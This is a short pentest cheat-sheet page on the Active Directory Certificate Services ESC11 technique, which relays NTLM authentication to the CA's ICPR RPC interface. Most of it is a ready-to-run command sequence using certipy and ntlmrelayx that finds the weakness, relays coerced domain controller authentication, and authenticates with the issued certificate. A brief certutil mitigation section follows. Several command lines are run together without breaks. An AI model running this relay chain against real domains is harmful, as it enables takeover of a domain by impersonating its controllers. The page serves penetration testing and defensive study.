← cd ..

Active Directory - Certificate ESC11

contents
ad-adcs-esc11.md

ESC11 - Relaying NTLM to ICPR#

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.

Tools:

Exploitation:

  1. Look for Enforce Encryption for Requests: Disabled in certipy output.

    certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdoutEnforce Encryption for Requests : DisabledESC11: Encryption is not enforced for ICPR (RPC) requests.
  2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.

    certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController# orntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
  3. Coerce authentication fomr a privileged account such as a Domain Controller.

  4. Use the certificate

    certipy auth -pfx dc.pfx

Mitigations:

Enforce RPC Encryption (Packet Privacy).

certutil -getreg CA\InterfaceFlagscertutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUESTnet stop certsvcnet start certsvc

References#